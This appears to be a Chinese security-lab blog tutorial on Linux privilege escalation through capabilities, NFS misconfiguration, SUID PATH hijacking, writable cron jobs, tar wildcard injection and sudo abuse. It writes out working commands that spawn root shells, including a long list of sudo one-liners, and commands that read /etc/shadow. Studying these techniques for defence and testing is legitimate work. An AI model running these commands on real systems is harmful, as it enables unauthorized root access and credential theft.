戟星安全实验室
本文约4670字,阅读约需12分钟。
0x00 前言
0x01 利用Capabilities进行提权
我们首先用root用户权限给命令配置Capabilities权限
setcap cap_setuid+ep /usr/bin/php
再用getcap命令是否成功赋权
getcap /usr/bin/php
那么实战中,切换到低权限账户,我们可以通过这个命令来对被设置了Capability的文件进行搜寻
getcap -r / 2>/dev/null
通过php命令成功进行提权
php -r "posix_setuid(0); system('/bin/sh');"
0x02 利用NFS进行提权
/etc/exports是nfs的配置文件,其中配置了指定的共享目录,可以访问的ip白名单,以及该目录的权限,下面展示一个标准的误配。
指定了/var目录为共享目录,*号代表着任意IP都可以访问该目录,rw设置目录的读写权限,sync设置磁盘同步读写
当我们以低权限用户对/etc/exports文件进行cat的时候,我们可以清楚的看到管理员对NFS的配置,这时候我们在另外一台机器A上利用showmonut远程访问到NFS服务器
那么接下来我们要怎么利用这个误配进行提权呢。
首先利用命令进行挂载,可以看到挂载成功后,我们获得了对方目录的所有权限。
mount -o rw,vers=4 106.xx.xx.125:/var /var/zhenzhen
既然都有对方目录的权限了,我们可以把自己机器上的bash上传到共享文件夹里面
cp -a /usr/bin/bash /var/zhenzhen/zhenzhen
这时候我们到NFS服务端上一看,就发现自己的目录下多了个bash
好家伙,直接root
0x03 利用SUID进行提权
在Linux中,环境变量保存在PATH文件中,就像Windows一样可以加在PATH项里,利用ECHO命令我们可以看见当前的$PATH目录
我们可以看到被添加到这些目录下的文件如/usr/local/sbin/xxxx我们都可以直接通过Shell进行调用,而不需要cd到那个目录下再去进行调用,而且调用的顺序是从左往右的。
那么我们可以通过劫持环境变量来进行提权,但前提是有一个suid权限的文件且里面有可以执行的命令。
find / -type f -perm -04000 -ls 2>/dev/null
我们尝试运行一下这个zhenzhenshell,看看它执行了什么命令
看了里面自带了一个id命令,那我们可以通过劫持id命令的环境变量来达成提权的目的。
首先我们要清楚id命令的环境遍历的位置,通过whereis命令
可以看到默认是/usr/bin/id,现在我们要自己添加一个环境变量进去。
我们直接在当前目录下创个id命令(LINUX中一切皆文件),并且写入一个/bin/bash进去
之后我们利用export命令写入一个临时变量,因为是从左往右的优先级执行,所以执行id命令的时候会跑到当前目录也就是/var/zhenzhen2/目录下去执行id,而刚刚我们的id里面写入了一个/bin/bash
之后执行zhenzhenshell,成功提权。
0x04 利用crontab计时任务进行提权
crontab可以让设置一些定时任务,比如说你想在晚上11点钟自动进行文件的备份,我们就可以利用crontab设置好命令定期执行,而这些定期执行的任务也一般被叫做cron jobs。
那么假设这时候由root权限创建了一个.sh的定时任务脚本,但是因为这个定时任务脚本的权限没有设置好,导致攻击者可以以低权限的账户去进行编辑,覆盖等等操作,比如说往里面插入恶意的命令,这时候装载着恶意命令的.sh脚本就可以被root权限的定时任务给执行了,那么就可以轻松达到攻击者想要达到的目的。
根据上面的描述,我们很明显需要知道哪些定时任务启用了root权限执行,并且能够让攻击者(低权限账户)进行编辑,当用户权限足够时,我们可以通过在网上搜集一些搜索脚本来寻找其他用户的定时任务。
for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l;done //遍历用户的cronjobs
for u in `cat /etc/passwd | cut -d":" -f1`;do crontab -l -u $u;done //遍历用户的cronjobs
我们可以收集所有的,当前账户有权限编写的文件,比如说通过sudo cat来搜集当前root用户下的Cronjobs
sudo cat /var/spool/cron/root
通过find命令对可写文件的收集
find / -perm -2 -type f 2> /dev/null
利用pspy工具对linux文件执行时间进行监控,如果发现有规律的运行文件,就会被判断为任务计划执行
https://github.com/DominicBreuker/pspy
当我们具有cronjobs文件的写入权限,事情就会变得轻松很多,比如说我们这里是一个.sh的cronjobs,我们可以尝试写入一些恶意命令,例如反弹shell等操作。
0x05 利用通配符进行提权
在LINUX中通配符可以被用来模糊匹配,而且通配符的输入是由当前用户的shell去进行解析。
* 匹配任意个字符
? 匹配任意单个字符
[] 匹配中括号中的任意单一字符 可以使用连字符-表示范围,比如[0-9]
- 匹配一个字符
但是在Linux中有一个现象,首先我们创建两个文件。
然后我们利用cat命令去抓取文本中的内容
可以看到我们并不能抓取名为--help的文件,这里并不难理解,只是shell先去解析了cat --help调出了帮助文档,而没有选择去抓取名为--help文件里面的内容,这种现象被称为Wildcard wildness
那么顺应下去,肯定不止cat命令有这个问题
比如说在当前目录下执行ls * ,它也会调用ls --help。
而这种现象将会引发一些安全问题。
Tar是Unix和类Unix系统上的压缩打包工具,可以将多个文件合并为一个文件,打包后的文件后缀亦为“tar”。
–checkpoint[=NUMBER] 显示每个Numbers记录的进度消息(默认值为10)
–checkpoint-action=ACTION 在每个checkpoint(检查点)上执行ACTION
显而易见,我们可以通过tar命令的这两条参数进行命令执行,比如说
tar -czf sss ./* --checkpoint=1 --checkpoint-action=exec="ls"
那么现在假如说有这么两个文件,我们就可以利用Wildcard wildness来达成目的
当一些运维人员配置错误时,比如说在cronjobs指定某个目录定时执行tar命令,我们就可以利用Wildcard wildness完成提权等操作。
0x06 利用SUDO命令进行提权
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。
在一些应用场景里面,为了方便运维人员以低权限帐号进行运维,往往会开启帐号的一些SUDO权限给运维帐号,而SUDO权限的授予在/etc/sudoers中进行操作
假设,给予了zhenzhen这个账户ALL的权限,我们能够运用那些命令进行提权呢。
我们先用sudo -l命令观察一下当前用户的sudo权限。假设这是一个存在SUDO滥用的账户。
####
sudo vim -c '!sh'
sudo man man
sudo awk 'BEGIN {system("/bin/sh")}'
sudo curl file://etc/shadow
sudo find /etc/passwd -exec /bin/sh \;
sudo apache2 -f /etc/shadow
sudo xxd "/etc/shadow" | xxd -r
sudo taskset 1 /bin/sh -p
sudo git help config
!/bin/sh
sudo ftp
!/bin/sh & !/bin/bash
sudo env /bin/sh
sudo less /etc/hosts
!sh
sudo perl -e 'exec "/bin/sh";'
sudo tmux
sudo ed
!/bin/sh
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}'
> $TF
sudo apt-get install -c $TF sl
sudo zip 2.zip 1.txt -T
--unzip-command="sh -c /bin/sh"
sudo sed -n '1e exec sh 1>&0' /etc/passwd
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。
戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
戟星安全实验室
# 长按二维码 关注我们 #